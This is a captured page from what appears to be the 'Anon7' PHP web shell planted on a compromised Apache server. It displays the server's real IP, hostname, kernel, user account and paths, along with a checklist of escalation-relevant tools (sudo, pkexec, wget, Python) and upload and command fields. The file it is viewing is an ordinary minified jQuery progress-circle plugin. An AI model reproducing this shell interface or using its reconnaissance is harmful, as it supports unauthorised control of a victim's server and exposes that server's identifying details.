SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.137.174.253
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www/admin/js/grasp_mobile_progress_circle-1.0.0.min.js
!function(a){function d(a){return a.indexOf("px")?a.substring(0,a.length-2):canvas_height.indexOf("%")?a.substring(0,a.length-1):void 0}function e(a){if(a.toString().indexOf("px")<-1&&a.toString().indexOf("%")<-1)return a+="px"}function f(a,b){if(b<0){var c=parseInt(a)/100*360,d=c*(Math.PI/180);return d-Math.PI/2}var e=(parseInt(a)+parseInt(b))/100*360,f=e*(Math.PI/180);return f-Math.PI/2}function g(c){a(".gmpc-percent-text").text(Math.round(b.percent)+"%")}function h(a){var c=d(b.height.toString()),e=d(b.width.toString()),h=document.createElement("canvas");h.height=c,h.width=e;var i=h.getContext("2d");i.strokeStyle=b.color,i.lineWidth=b.line_width,i.beginPath();var j=f(b.starting_position,-1),k=f(b.starting_position,b.percent),l=0,m=e/2,n=c/2;return l=c>=e?.9*e/2-2*b.line_width:.9*c/2-2*b.line_width,i.arc(m,n,l,j,k,b.counter_clockwise),i.stroke(),"percent"==b.text&&g(a),h}var b={},c={init:function(c){var d=a.extend({color:"#0B2546",height:"200px",width:"200px",line_width:8,starting_position:25,percent:100,counter_clockwise:!1,text:"percent",font_size:"28px",font_family:"Helvetica"},c);b=d;var f=a("<div class='gmpc-percent-text'></div>");return f.css({"font-size":b.font_size,"font-family":b.font_family}),"percent"!=b.text&&f.text(b.text),a(this).append(f),100!=b.starting_position&&(b.starting_position=b.starting_position%100),100!=b.ending_position&&(b.ending_position=b.ending_position%100),e(b.width),e(b.height),a(this).css({height:b.height,width:b.width}),a(this).addClass("gmpc"),a(this).find("canvas").remove(),a(this).append(h(a(this))),this},percent:function(c){return b.percent=c,a(this).css({height:b.height,width:b.width}),a(this).children("canvas").remove(),a(this).append(h(a(this))),this},animate:function(c,d){a(this).css({height:b.height,width:b.width});var e=d/10,f=(c-b.percent)/e,g=a(this),i=setInterval(function(){b.percent<c?(g.children("canvas").remove(),b.percent+=f,g.append(h(g))):clearInterval(i)},10);return this}};a.fn.gmpc=function(b){return c[b]?c[b].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof b&&b?void a.error("Method "+b+" does not exist."):c.init.apply(this,arguments)}}(jQuery);

Anon7 - 2022
SCDN GOK